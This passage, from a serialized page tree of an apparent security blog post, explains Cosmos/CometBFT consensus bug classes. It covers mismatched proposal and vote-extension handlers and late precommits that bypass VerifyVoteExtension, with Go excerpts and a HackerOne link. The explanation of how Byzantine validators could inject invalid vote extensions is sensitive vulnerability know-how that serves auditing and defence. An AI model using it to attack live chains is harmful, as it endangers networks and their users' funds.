errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[86833],{"type":25,"tag":82,"props":86834,"children":86835},{"__ignoreMap":7},[86836,86868,86947,86962,86970,87001,87059,87066,87073],{"type":25,"tag":216,"props":86837,"children":86838},{"class":6916,"line":6917},[86839,86843,86847,86851,86856,86860,86864],{"type":25,"tag":216,"props":86840,"children":86841},{"style":6930},[86842],{"type":31,"value":80266},{"type":25,"tag":216,"props":86844,"children":86845},{"style":6958},[86846],{"type":31,"value":7010},{"type":25,"tag":216,"props":86848,"children":86849},{"style":6941},[86850],{"type":31,"value":85094},{"type":25,"tag":216,"props":86852,"children":86853},{"style":7369},[86854],{"type":31,"value":86855},"BaseKeeper",{"type":25,"tag":216,"props":86857,"children":86858},{"style":6958},[86859],{"type":31,"value":7030},{"type":25,"tag":216,"props":86861,"children":86862},{"style":7041},[86863],{"type":31,"value":85609},{"type":25,"tag":216,"props":86865,"children":86866},{"style":6958},[86867],{"type":31,"value":7414},{"type":25,"tag":216,"props":86869,"children":86870},{"class":6916,"line":6763},[86871,86875,86879,86883,86887,86891,86896,86900,86904,86909,86913,86917,86921,86925,86930,86934,86938,86943],{"type":25,"tag":216,"props":86872,"children":86873},{"style":6941},[86874],{"type":31,"value":29795},{"type":25,"tag":216,"props":86876,"children":86877},{"style":7369},[86878],{"type":31,"value":80306},{"type":25,"tag":216,"props":86880,"children":86881},{"style":6958},[86882],{"type":31,"value":179},{"type":25,"tag":216,"props":86884,"children":86885},{"style":7369},[86886],{"type":31,"value":80315},{"type":25,"tag":216,"props":86888,"children":86889},{"style":6958},[86890],{"type":31,"value":7020},{"type":25,"tag":216,"props":86892,"children":86893},{"style":6941},[86894],{"type":31,"value":86895},"senderModule",{"type":25,"tag":216,"props":86897,"children":86898},{"style":7369},[86899],{"type":31,"value":39986},{"type":25,"tag":216,"props":86901,"children":86902},{"style":6958},[86903],{"type":31,"value":7020},{"type":25,"tag":216,"props":86905,"children":86906},{"style":6941},[86907],{"type":31,"value":86908},"recipientAddr",{"type":25,"tag":216,"props":86910,"children":86911},{"style":7369},[86912],{"type":31,"value":82607},{"type":25,"tag":216,"props":86914,"children":86915},{"style":6958},[86916],{"type":31,"value":179},{"type":25,"tag":216,"props":86918,"children":86919},{"style":7369},[86920],{"type":31,"value":86594},{"type":25,"tag":216,"props":86922,"children":86923},{"style":6958},[86924],{"type":31,"value":7020},{"type":25,"tag":216,"props":86926,"children":86927},{"style":6941},[86928],{"type":31,"value":86929},"amt",{"type":25,"tag":216,"props":86931,"children":86932},{"style":7369},[86933],{"type":31,"value":82607},{"type":25,"tag":216,"props":86935,"children":86936},{"style":6958},[86937],{"type":31,"value":179},{"type":25,"tag":216,"props":86939,"children":86940},{"style":7369},[86941],{"type":31,"value":86942},"Coins",{"type":25,"tag":216,"props":86944,"children":86945},{"style":6958},[86946],{"type":31,"value":7459},{"type":25,"tag":216,"props":86948,"children":86949},{"class":6916,"line":6772},[86950,86954,86958],{"type":25,"tag":216,"props":86951,"children":86952},{"style":6958},[86953],{"type":31,"value":7030},{"type":25,"tag":216,"props":86955,"children":86956},{"style":7369},[86957],{"type":31,"value":18815},{"type":25,"tag":216,"props":86959,"children":86960},{"style":6958},[86961],{"type":31,"value":7235},{"type":25,"tag":216,"props":86963,"children":86964},{"class":6916,"line":6999},[86965],{"type":25,"tag":216,"props":86966,"children":86967},{"style":6947},[86968],{"type":31,"value":86969}," ...\n",{"type":25,"tag":216,"props":86971,"children":86972},{"class":6916,"line":7104},[86973,86977,86981,86985,86989,86993,86997],{"type":25,"tag":216,"props":86974,"children":86975},{"style":6967},[86976],{"type":31,"value":19740},{"type":25,"tag":216,"props":86978,"children":86979},{"style":6941},[86980],{"type":31,"value":85222},{"type":25,"tag":216,"props":86982,"children":86983},{"style":6958},[86984],{"type":31,"value":179},{"type":25,"tag":216,"props":86986,"children":86987},{"style":7041},[86988],{"type":31,"value":85625},{"type":25,"tag":216,"props":86990,"children":86991},{"style":6958},[86992],{"type":31,"value":1844},{"type":25,"tag":216,"props":86994,"children":86995},{"style":6941},[86996],{"type":31,"value":86908},{"type":25,"tag":216,"props":86998,"children":86999},{"style":6958},[87000],{"type":31,"value":18755},{"type":25,"tag":216,"props":87002,"children":87003},{"class":6916,"line":7210},[87004,87008,87013,87017,87021,87025,87029,87033,87038,87042,87047,87051,87055],{"type":25,"tag":216,"props":87005,"children":87006},{"style":6967},[87007],{"type":31,"value":43156},{"type":25,"tag":216,"props":87009,"children":87010},{"style":6941},[87011],{"type":31,"value":87012}," errorsmod",{"type":25,"tag":216,"props":87014,"children":87015},{"style":6958},[87016],{"type":31,"value":179},{"type":25,"tag":216,"props":87018,"children":87019},{"style":7041},[87020],{"type":31,"value":84876},{"type":25,"tag":216,"props":87022,"children":87023},{"style":6958},[87024],{"type":31,"value":1844},{"type":25,"tag":216,"props":87026,"children":87027},{"style":6941},[87028],{"type":31,"value":84538},{"type":25,"tag":216,"props":87030,"children":87031},{"style":6958},[87032],{"type":31,"value":179},{"type":25,"tag":216,"props":87034,"children":87035},{"style":6941},[87036],{"type":31,"value":87037},"ErrUnauthorized",{"type":25,"tag":216,"props":87039,"children":87040},{"style":6958},[87041],{"type":31,"value":7020},{"type":25,"tag":216,"props":87043,"children":87044},{"style":8199},[87045],{"type":31,"value":87046},"\"%s is not allowed to receive funds\"",{"type":25,"tag":216,"props":87048,"children":87049},{"style":6958},[87050],{"type":31,"value":7020},{"type":25,"tag":216,"props":87052,"children":87053},{"style":6941},[87054],{"type":31,"value":86908},{"type":25,"tag":216,"props":87056,"children":87057},{"style":6958},[87058],{"type":31,"value":7101},{"type":25,"tag":216,"props":87060,"children":87061},{"class":6916,"line":7238},[87062],{"type":25,"tag":216,"props":87063,"children":87064},{"style":6958},[87065],{"type":31,"value":13546},{"type":25,"tag":216,"props":87067,"children":87068},{"class":6916,"line":7251},[87069],{"type":25,"tag":216,"props":87070,"children":87071},{"style":6947},[87072],{"type":31,"value":86969},{"type":25,"tag":216,"props":87074,"children":87075},{"class":6916,"line":7269},[87076],{"type":25,"tag":216,"props":87077,"children":87078},{"style":6958},[87079],{"type":31,"value":7868},{"type":25,"tag":38,"props":87081,"children":87082},{},[87083,87085,87092],{"type":31,"value":87084},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":25,"tag":162,"props":87086,"children":87089},{"href":87087,"rel":87088},"https://hackerone.com/reports/3018307",[166],[87090],{"type":31,"value":87091},"improper decimal handling in the group module",{"type":31,"value":179},{"type":25,"tag":26,"props":87094,"children":87096},{"id":87095},"same-same-but-different",[87097],{"type":31,"value":87098},"Same, Same... But Different",{"type":25,"tag":38,"props":87100,"children":87101},{},[87102,87104,87110,87111,87117,87118,87124,87125,87131],{"type":31,"value":87103},"Cosmos exposes several consensus-level interfaces, such as ",{"type":25,"tag":82,"props":87105,"children":87107},{"className":87106},[],[87108],{"type":31,"value":87109},"PrepareProposal",{"type":31,"value":7020},{"type":25,"tag":82,"props":87112,"children":87114},{"className":87113},[],[87115],{"type":31,"value":87116},"ProcessProposal",{"type":31,"value":7020},{"type":25,"tag":82,"props":87119,"children":87121},{"className":87120},[],[87122],{"type":31,"value":87123},"ExtendVote",{"type":31,"value":10433},{"type":25,"tag":82,"props":87126,"children":87128},{"className":87127},[],[87129],{"type":31,"value":87130},"VerifyVoteExtension",{"type":31,"value":87132},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":25,"tag":38,"props":87134,"children":87135},{},[87136],{"type":31,"value":87137},"Two of the best-known attack surfaces are",{"type":25,"tag":6705,"props":87139,"children":87140},{},[87141,87170],{"type":25,"tag":2037,"props":87142,"children":87143},{},[87144,87149,87150,87155,87157,87162,87163,87168],{"type":25,"tag":82,"props":87145,"children":87147},{"className":87146},[],[87148],{"type":31,"value":87109},{"type":31,"value":7010},{"type":25,"tag":82,"props":87151,"children":87153},{"className":87152},[],[87154],{"type":31,"value":87123},{"type":31,"value":87156},") outputs being rejected due to ",{"type":25,"tag":82,"props":87158,"children":87160},{"className":87159},[],[87161],{"type":31,"value":87116},{"type":31,"value":7010},{"type":25,"tag":82,"props":87164,"children":87166},{"className":87165},[],[87167],{"type":31,"value":87130},{"type":31,"value":87169},") over-validating, resulting in liveness failures.",{"type":25,"tag":2037,"props":87171,"children":87172},{},[87173,87175,87180,87181,87186,87188,87193,87194,87199],{"type":31,"value":87174},"Malicious proposals and vote extensions not created through the ",{"type":25,"tag":82,"props":87176,"children":87178},{"className":87177},[],[87179],{"type":31,"value":87109},{"type":31,"value":7010},{"type":25,"tag":82,"props":87182,"children":87184},{"className":87183},[],[87185],{"type":31,"value":87123},{"type":31,"value":87187},") are accepted due to ",{"type":25,"tag":82,"props":87189,"children":87191},{"className":87190},[],[87192],{"type":31,"value":87116},{"type":31,"value":7010},{"type":25,"tag":82,"props":87195,"children":87197},{"className":87196},[],[87198],{"type":31,"value":87130},{"type":31,"value":87200},") under-validating.",{"type":25,"tag":38,"props":87202,"children":87203},{},[87204],{"type":31,"value":87205},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":25,"tag":38,"props":87207,"children":87208},{},[87209,87211,87217,87219,87224],{"type":31,"value":87210},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":25,"tag":82,"props":87212,"children":87214},{"className":87213},[],[87215],{"type":31,"value":87216},"VoteExtensions",{"type":31,"value":87218}," within ",{"type":25,"tag":82,"props":87220,"children":87222},{"className":87221},[],[87223],{"type":31,"value":87109},{"type":31,"value":87225},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":25,"tag":38,"props":87227,"children":87228},{},[87229,87231,87236,87238,87243],{"type":31,"value":87230},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":25,"tag":82,"props":87232,"children":87234},{"className":87233},[],[87235],{"type":31,"value":87123},{"type":31,"value":87237}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":25,"tag":82,"props":87239,"children":87241},{"className":87240},[],[87242],{"type":31,"value":87130},{"type":31,"value":87244},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":25,"tag":38,"props":87246,"children":87247},{},[87248,87250,87255],{"type":31,"value":87249},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":25,"tag":82,"props":87251,"children":87253},{"className":87252},[],[87254],{"type":31,"value":87130},{"type":31,"value":87256}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":25,"tag":38,"props":87258,"children":87259},{},[87260,87262,87267,87269,87275],{"type":31,"value":87261},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":25,"tag":82,"props":87263,"children":87265},{"className":87264},[],[87266],{"type":31,"value":87130},{"type":31,"value":87268},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":25,"tag":82,"props":87270,"children":87272},{"className":87271},[],[87273],{"type":31,"value":87274},"Proposal",{"type":31,"value":179},{"type":25,"tag":206,"props":87277,"children":87279},{"code":87278,"language":80130,"meta":7,"className":80131,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[87280],{"type":25,"tag":82,"props":87281,"children":87282},{"__ignoreMap":7},[87283,87395,87402,87409,87417,87425,87509,87516,87524,87578,87585,87606,87613,87685,87701,87708,87782,87838,87845,87907,87914,87921,87940,87947,87954,87961],{"type":25,"tag":216,"props":87284,"children":87285},{"class":6916,"line":6917},[87286,87290,87294,87299,87303,87308,87312,87317,87321,87326,87330,87334,87338,87343,87347,87352,87357,87361,87366,87370,87375,87379,87383,87387,87391],{"type":25,"tag":216,"props":87287,"children":87288},{"style":6930},[87289],{"type":31,"value":80266},{"type":25,"tag":216,"props":87291,"children":87292},{"style":6958},[87293],{"type":31,"value":7010},{"type":25,"tag":216,"props":87295,"children":87296},{"style":6941},[87297],{"type":31,"value":87298},"cs ",{"type":25,"tag":216,"props":87300,"children":87301},{"style":6947},[87302],{"type":31,"value":8513},{"type":25,"tag":216,"props":87304,"children":87305},{"style":7369},[87306],{"type":31,"value":87307},"State",{"type":25,"tag":216,"props":87309,"children":87310},{"style":6958},[87311],{"type":31,"value":7030},{"type":25,"tag":216,"props":87313,"children":87314},{"style":7041},[87315],{"type":31,"value":87316},"addVote",{"type":25,"tag":216,"props":87318,"children":87319},{"style":6958},[87320],{"type":31,"value":1844},{"type":25,"tag":216,"props":87322,"children":87323},{"style":6941},[87324],{"type":31,"value":87325},"vote",{"type":25,"tag":216,"props":87327,"children":87328},{"style":6947},[87329],{"type":31,"value":13767},{"type":25,"tag":216,"props":87331,"children":87332},{"style":7369},[87333],{"type":31,"value":9703},{"type":25,"tag":216,"props":87335,"children":87336},{"style":6958},[87337],{"type":31,"value":179},{"type":25,"tag":216,"props":87339,"children":87340},{"style":7369},[87341],{"type":31,"value":87342},"Vote",{"type":25,"tag":216,"props":87344,"children":87345},{"style":6958},[87346],{"type":31,"value":7020},{"type":25,"tag":216,"props":87348,"children":87349},{"style":6941},[87350],{"type":31,"value":87351},"peerID",{"type":25,"tag":216,"props":87353,"children":87354},{"style":7369},[87355],{"type":31,"value":87356}," p2p",{"type":25,"tag":216,"props":87358,"children":87359},{"style":6958},[87360],{"type":31,"value":179},{"type":25,"tag":216,"props":87362,"children":87363},{"style":7369},[87364],{"type":31,"value":87365},"ID",{"type":25,"tag":216,"props":87367,"children":87368},{"style":6958},[87369],{"type":31,"value":80348},{"type":25,"tag":216,"props":87371,"children":87372},{"style":6941},[87373],{"type":31,"value":87374},"added",{"type":25,"tag":216,"props":87376,"children":87377},{"style":7369},[87378],{"type":31,"value":16000},{"type":25,"tag":216,"props":87380,"children":87381},{"style":6958},[87382],{"type":31,"value":7020},{"type":25,"tag":216,"props":87384,"children":87385},{"style":6941},[87386],{"type":31,"value":52383},{"type":25,"tag":216,"props":87388,"children":87389},{"style":7369},[87390],{"type":31,"value":18828},{"type":25,"tag":216,"props":87392,"children":87393},{"style":6958},[87394],{"type":31,"value":18755},{"type":25,"tag":216,"props":87396,"children":87397},{"class":6916,"line":6763},[87398],{"type":25,"tag":216,"props":87399,"children":87400},{"style":6947},[87401],{"type":31,"value":24293},{"type":25,"tag":216,"props":87403,"children":87404},{"class":6916,"line":6772},[87405],{"type":25,"tag":216,"props":87406,"children":87407},{"emptyLinePlaceholder":16},[87408],{"type":31,"value":7636},{"type":25,"tag":216,"props":87410,"children":87411},{"class":6916,"line":6999},[87412],{"type":25,"tag":216,"props":87413,"children":87414},{"style":6921},[87415],{"type":31,"value":87416},"    // A precommit for the previous height?\n",{"type":25,"tag":216,"props":87418,"children":87419},{"class":6916,"line":7104},[87420],{"type":25,"tag":216,"props":87421,"children":87422},{"style":6921},[87423],{"type":31,"value":87424},"    // These come in while we wait timeoutCommit\n",{"type":25,"tag":216,"props":87426,"children":87427},{"class":6916,"line":7210},[87428,87432,87437,87441,87446,87450,87454,87458,87463,87467,87471,87475,87479,87483,87488,87492,87496,87500,87505],{"type":25,"tag":216,"props":87429,"children":87430},{"style":6967},[87431],{"type":31,"value":16229},{"type":25,"tag":216,"props":87433,"children":87434},{"style":6941},[87435],{"type":31,"value":87436}," vote",{"type":25,"tag":216,"props":87438,"children":87439},{"style":6958},[87440],{"type":31,"value":179},{"type":25,"tag":216,"props":87442,"children":87443},{"style":6941},[87444],{"type":31,"value":87445},"Height",{"type":25,"tag":216,"props":87447,"children":87448},{"style":6947},[87449],{"type":31,"value":3533},{"type":25,"tag":216,"props":87451,"children":87452},{"style":6983},[87453],{"type":31,"value":184},{"type":25,"tag":216,"props":87455,"children":87456},{"style":6947},[87457],{"type":31,"value":7226},{"type":25,"tag":216,"props":87459,"children":87460},{"style":6941},[87461],{"type":31,"value":87462}," cs",{"type":25,"tag":216,"props":87464,"children":87465},{"style":6958},[87466],{"type":31,"value":179},{"type":25,"tag":216,"props":87468,"children":87469},{"style":6941},[87470],{"type":31,"value":87445},{"type":25,"tag":216,"props":87472,"children":87473},{"style":6947},[87474],{"type":31,"value":18136},{"type":25,"tag":216,"props":87476,"children":87477},{"style":6941},[87478],{"type":31,"value":87436},{"type":25,"tag":216,"props":87480,"children":87481},{"style":6958},[87482],{"type":31,"value":179},{"type":25,"tag":216,"props":87484,"children":87485},{"style":6941},[87486],{"type":31,"value":87487},"Type",{"type":25,"tag":216,"props":87489,"children":87490},{"style":6947},[87491],{"type":31,"value":7226},{"type":25,"tag":216,"props":87493,"children":87494},{"style":6941},[87495],{"type":31,"value":82141},{"type":25,"tag":216,"props":87497,"children":87498},{"style":6958},[87499],{"type":31,"value":179},{"type":25,"tag":216,"props":87501,"children":87502},{"style":6941},[87503],{"type":31,"value":87504},"PrecommitType",{"type":25,"tag":216,"props":87506,"children":87507},{"style":6958},[87508],{"type":31,"value":7235},{"type":25,"tag":216,"props":87510,"children":87511},{"class":6916,"line":7238},[87512],{"type":25,"tag":216,"props":87513,"children":87514},{"style":6947},[87515],{"type":31,"value":85808},{"type":25,"tag":216,"props":87517,"children":87518},{"class":6916,"line":7251},[87519],{"type":25,"tag":216,"props":87520,"children":87521},{"style":6921},[87522],{"type":31,"value":87523},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":25,"tag":216,"props":87525,"children":87526},{"class":6916,"line":7269},[87527,87532,87536,87540,87544,87548,87552,87557,87561,87566,87570,87574],{"type":25,"tag":216,"props":87528,"children":87529},{"style":6941},[87530],{"type":31,"value":87531},"        added",{"type":25,"tag":216,"props":87533,"children":87534},{"style":6958},[87535],{"type":31,"value":7020},{"type":25,"tag":216,"props":87537,"children":87538},{"style":6941},[87539],{"type":31,"value":52383},{"type":25,"tag":216,"props":87541,"children":87542},{"style":6947},[87543],{"type":31,"value":6950},{"type":25,"tag":216,"props":87545,"children":87546},{"style":6941},[87547],{"type":31,"value":87462},{"type":25,"tag":216,"props":87549,"children":87550},{"style":6958},[87551],{"type":31,"value":179},{"type":25,"tag":216,"props":87553,"children":87554},{"style":6941},[87555],{"type":31,"value":87556},"LastCommit",{"type":25,"tag":216,"props":87558,"children":87559},{"style":6958},[87560],{"type":31,"value":179},{"type":25,"tag":216,"props":87562,"children":87563},{"style":7041},[87564],{"type":31,"value":87565},"AddVote",{"type":25,"tag":216,"props":87567,"children":87568},{"style":6958},[87569],{"type":31,"value":1844},{"type":25,"tag":216,"props":87571,"children":87572},{"style":6941},[87573],{"type":31,"value":87325},{"type":25,"tag":216,"props":87575,"children":87576},{"style":6958},[87577],{"type":31,"value":7101},{"type":25,"tag":216,"props":87579,"children":87580},{"class":6916,"line":7290},[87581],{"type":25,"tag":216,"props":87582,"children":87583},{"style":6947},[87584],{"type":31,"value":85808},{"type":25,"tag":216,"props":87586,"children":87587},{"class":6916,"line":7299},[87588,87592,87597,87601],{"type":25,"tag":216,"props":87589,"children":87590},{"style":6967},[87591],{"type":31,"value":19696},{"type":25,"tag":216,"props":87593,"children":87594},{"style":6941},[87595],{"type":31,"value":87596}," added",{"type":25,"tag":216,"props":87598,"children":87599},{"style":6958},[87600],{"type":31,"value":7020},{"type":25,"tag":216,"props":87602,"children":87603},{"style":6941},[87604],{"type":31,"value":87605},"err\n",{"type":25,"tag":216,"props":87607,"children":87608},{"class":6916,"line":7551},[87609],{"type":25,"tag":216,"props":87610,"children":87611},{"style":6958},[87612],{"type":31,"value":7305},{"type":25,"tag":216,"props":87614,"children":87615},{"class":6916,"line":7568},[87616,87621,87625,87629,87633,87638,87642,87647,87651,87656,87660,87665,87669,87673,87677,87681],{"type":25,"tag":216,"props":87617,"children":87618},{"style":6941},[87619],{"type":31,"value":87620},"    extEnabled",{"type":25,"tag":216,"props":87622,"children":87623},{"style":6947},[87624],{"type":31,"value":80382},{"type":25,"tag":216,"props":87626,"children":87627},{"style":6941},[87628],{"type":31,"value":87462},{"type":25,"tag":216,"props":87630,"children":87631},{"style":6958},[87632],{"type":31,"value":179},{"type":25,"tag":216,"props":87634,"children":87635},{"style":6941},[87636],{"type":31,"value":87637},"state",{"type":25,"tag":216,"props":87639,"children":87640},{"style":6958},[87641],{"type":31,"value":179},{"type":25,"tag":216,"props":87643,"children":87644},{"style":6941},[87645],{"type":31,"value":87646},"ConsensusParams",{"type":25,"tag":216,"props":87648,"children":87649},{"style":6958},[87650],{"type":31,"value":179},{"type":25,"tag":216,"props":87652,"children":87653},{"style":6941},[87654],{"type":31,"value":87655},"Feature",{"type":25,"tag":216,"props":87657,"children":87658},{"style":6958},[87659],{"type":31,"value":179},{"type":25,"tag":216,"props":87661,"children":87662},{"style":7041},[87663],{"type":31,"value":87664},"VoteExtensionsEnabled",{"type":25,"tag":216,"props":87666,"children":87667},{"style":6958},[87668],{"type":31,"value":1844},{"type":25,"tag":216,"props":87670,"children":87671},{"style":6941},[87672],{"type":31,"value":87325},{"type":25,"tag":216,"props":87674,"children":87675},{"style":6958},[87676],{"type":31,"value":179},{"type":25,"tag":216,"props":87678,"children":87679},{"style":6941},[87680],{"type":31,"value":87445},{"type":25,"tag":216,"props":87682,"children":87683},{"style":6958},[87684],{"type":31,"value":7101},{"type":25,"tag":216,"props":87686,"children":87687},{"class":6916,"line":7585},[87688,87692,87697],{"type":25,"tag":216,"props":87689,"children":87690},{"style":6967},[87691],{"type":31,"value":16229},{"type":25,"tag":216,"props":87693,"children":87694},{"style":6941},[87695],{"type":31,"value":87696}," extEnabled",{"type":25,"tag":216,"props":87698,"children":87699},{"style":6958},[87700],{"type":31,"value":7235},{"type":25,"tag":216,"props":87702,"children":87703},{"class":6916,"line":7598},[87704],{"type":25,"tag":216,"props":87705,"children":87706},{"style":6947},[87707],{"type":31,"value":85808},{"type":25,"tag":216,"props":87709,"children":87710},{"class":6916,"line":7607},[87711,87715,87719,87723,87727,87731,87735,87739,87743,87747,87751,87755,87759,87764,87768,87773,87777],{"type":25,"tag":216,"props":87712,"children":87713},{"style":6967},[87714],{"type":31,"value":7216},{"type":25,"tag":216,"props":87716,"children":87717},{"style":6941},[87718],{"type":31,"value":87436},{"type":25,"tag":216,"props":87720,"children":87721},{"style":6958},[87722],{"type":31,"value":179},{"type":25,"tag":216,"props":87724,"children":87725},{"style":6941},[87726],{"type":31,"value":87487},{"type":25,"tag":216,"props":87728,"children":87729},{"style":6947},[87730],{"type":31,"value":7226},{"type":25,"tag":216,"props":87732,"children":87733},{"style":6941},[87734],{"type":31,"value":82141},{"type":25,"tag":216,"props":87736,"children":87737},{"style":6958},[87738],{"type":31,"value":179},{"type":25,"tag":216,"props":87740,"children":87741},{"style":6941},[87742],{"type":31,"value":87504},{"type":25,"tag":216,"props":87744,"children":87745},{"style":6947},[87746],{"type":31,"value":18136},{"type":25,"tag":216,"props":87748,"children":87749},{"style":6947},[87750],{"type":31,"value":16814},{"type":25,"tag":216,"props":87752,"children":87753},{"style":6941},[87754],{"type":31,"value":87325},{"type":25,"tag":216,"props":87756,"children":87757},{"style":6958},[87758],{"type":31,"value":179},{"type":25,"tag":216,"props":87760,"children":87761},{"style":6941},[87762],{"type":31,"value":87763},"BlockID",{"type":25,"tag":216,"props":87765,"children":87766},{"style":6958},[87767],{"type":31,"value":179},{"type":25,"tag":216,"props":87769,"children":87770},{"style":7041},[87771],{"type":31,"value":87772},"IsNil",{"type":25,"tag":216,"props":87774,"children":87775},{"style":6958},[87776],{"type":31,"value":17994},{"type":25,"tag":216,"props":87778,"children":87779},{"style":6947},[87780],{"type":31,"value":87781},"&&\n",{"type":25,"tag":216,"props":87783,"children":87784},{"class":6916,"line":7630},[87785,87790,87795,87799,87803,87807,87811,87815,87820,87824,87829,87833],{"type":25,"tag":216,"props":87786,"children":87787},{"style":6947},[87788],{"type":31,"value":87789},"            !",{"type":25,"tag":216,"props":87791,"children":87792},{"style":6941},[87793],{"type":31,"value":87794},"bytes",{"type":25,"tag":216,"props":87796,"children":87797},{"style":6958},[87798],{"type":31,"value":179},{"type":25,"tag":216,"props":87800,"children":87801},{"style":7041},[87802],{"type":31,"value":86264},{"type":25,"tag":216,"props":87804,"children":87805},{"style":6958},[87806],{"type":31,"value":1844},{"type":25,"tag":216,"props":87808,"children":87809},{"style":6941},[87810],{"type":31,"value":87325},{"type":25,"tag":216,"props":87812,"children":87813},{"style":6958},[87814],{"type":31,"value":179},{"type":25,"tag":216,"props":87816,"children":87817},{"style":6941},[87818],{"type":31,"value":87819},"ValidatorAddress",{"type":25,"tag":216,"props":87821,"children":87822},{"style":6958},[87823],{"type":31,"value":7020},{"type":25,"tag":216,"props":87825,"children":87826},{"style":6941},[87827],{"type":31,"value":87828},"myAddr",{"type":25,"tag":216,"props":87830,"children":87831},{"style":6958},[87832],{"type":31,"value":27940},{"type":25,"tag":216,"props":87834,"children":87835},{"style":6921},[87836],{"type":31,"value":87837},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":25,"tag":216,"props":87839,"children":87840},{"class":6916,"line":7639},[87841],{"type":25,"tag":216,"props":87842,"children":87843},{"style":6947},[87844],{"type":31,"value":86484},{"type":25,"tag":216,"props":87846,"children":87847},{"class":6916,"line":7648},[87848,87852,87856,87860,87864,87869,87873,87877,87881,87886,87890,87895,87899,87903],{"type":25,"tag":216,"props":87849,"children":87850},{"style":6941},[87851],{"type":31,"value":86302},{"type":25,"tag":216,"props":87853,"children":87854},{"style":6947},[87855],{"type":31,"value":80382},{"type":25,"tag":216,"props":87857,"children":87858},{"style":6941},[87859],{"type":31,"value":87462},{"type":25,"tag":216,"props":87861,"children":87862},{"style":6958},[87863],{"type":31,"value":179},{"type":25,"tag":216,"props":87865,"children":87866},{"style":6941},[87867],{"type":31,"value":87868},"blockExec",{"type":25,"tag":216,"props":87870,"children":87871},{"style":6958},[87872],{"type":31,"value":179},{"type":25,"tag":216,"props":87874,"children":87875},{"style":7041},[87876],{"type":31,"value":87130},{"type":25,"tag":216,"props":87878,"children":87879},{"style":6958},[87880],{"type":31,"value":1844},{"type":25,"tag":216,"props":87882,"children":87883},{"style":6941},[87884],{"type":31,"value":87885},"context",{"type":25,"tag":216,"props":87887,"children":87888},{"style":6958},[87889],{"type":31,"value":179},{"type":25,"tag":216,"props":87891,"children":87892},{"style":7041},[87893],{"type":31,"value":87894},"TODO",{"type":25,"tag":216,"props":87896,"children":87897},{"style":6958},[87898],{"type":31,"value":22328},{"type":25,"tag":216,"props":87900,"children":87901},{"style":6941},[87902],{"type":31,"value":87325},{"type":25,"tag":216,"props":87904,"children":87905},{"style":6958},[87906],{"type":31,"value":7101},{"type":25,"tag":216,"props":87908,"children":87909},{"class":6916,"line":7716},[87910],{"type":25,"tag":216,"props":87911,"children":87912},{"style":6947},[87913],{"type":31,"value":86484},{"type":25,"tag":216,"props":87915,"children":87916},{"class":6916,"line":7724},[87917],{"type":25,"tag":216,"props":87918,"children":87919},{"style":6958},[87920],{"type":31,"value":7296},{"type":25,"tag":216,"props":87922,"children":87923},{"class":6916,"line":7754},[87924,87928,87932,87936],{"type":25,"tag":216,"props":87925,"children":87926},{"style":6958},[87927],{"type":31,"value":19731},{"type":25,"tag":216,"props":87929,"children":87930},{"style":6967},[87931],{"type":31,"value":7262},{"type":25,"tag":216,"props":87933,"children":87934},{"style":6967},[87935],{"type":31,"value":19740},{"type":25,"tag":216,"props":87937,"children":87938},{"style":6958},[87939],{"type":31,"value":7235},{"type":25,"tag":216,"props":87941,"children":87942},{"class":6916,"line":7762},[87943],{"type":25,"tag":216,"props":87944,"children":87945},{"style":6947},[87946],{"type":31,"value":85808},{"type":25,"tag":216,"props":87948,"children":87949},{"class":6916,"line":7794},[87950],{"type":25,"tag":216,"props":87951,"children":87952},{"style":6958},[87953],{"type":31,"value":7305},{"type":25,"tag":216,"props":87955,"children":87956},{"class":6916,"line":7802},[87957],{"type":25,"tag":216,"props":87958,"children":87959},{"style":6947},[87960],{"type":31,"value":24293},{"type":25,"tag":216,"props":87962,"children":87963},{"class":6916,"line":7862},[87964],{"type":25,"tag":216,"props":87965,"children":87966},{"style":6958},[87967],{"type":31,"value":7868},{"type":25,"tag":38,"props":87969,"children":87970},{},[87971],{"type":31,"value":87972},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":25,"tag":607,"props":87974,"children":87976},{"id":87975},"real-world-examples-4",[87977],{"type":31,"value":80655},{"type":25,"tag":38,"props":87979,"children":87980},{},[87981,87983,87988,87990,87996,87998,88004],{"type":31,"value":87982},"An example of the bug we just described is shown here. ",{"type":25,"tag":82,"props":87984,"children":87986},{"className":87985},[],[87987],{"type":31,"value":87109},{"type":31,"value":87989}," only checks that each vote is properly signed by a validator in 